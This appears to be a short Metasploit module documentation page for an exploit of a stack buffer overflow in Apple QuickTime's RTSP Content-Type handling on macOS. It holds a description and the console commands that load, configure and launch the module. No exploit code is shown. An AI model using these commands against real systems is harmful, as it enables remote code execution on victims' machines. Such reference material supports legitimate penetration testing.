MacOS X QuickTime RTSP Content-Type Overflow
11/23/2007
05/30/2018
Description
This module exploits a stack-based buffer overflow in Apple QuickTime before version 7.3.1. By sending an overly long RTSP response to a client, an attacker may be able to execute arbitrary code.
Author(s)
- unknown
Platform
OSX
Development
Module Options
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/osx/rtsp/quicktime_rtsp_content_type
msf exploit(quicktime_rtsp_content_type) > show targets
...targets...
msf exploit(quicktime_rtsp_content_type) > set TARGET < target-id >
msf exploit(quicktime_rtsp_content_type) > show options
...show and set options...
msf exploit(quicktime_rtsp_content_type) > exploit
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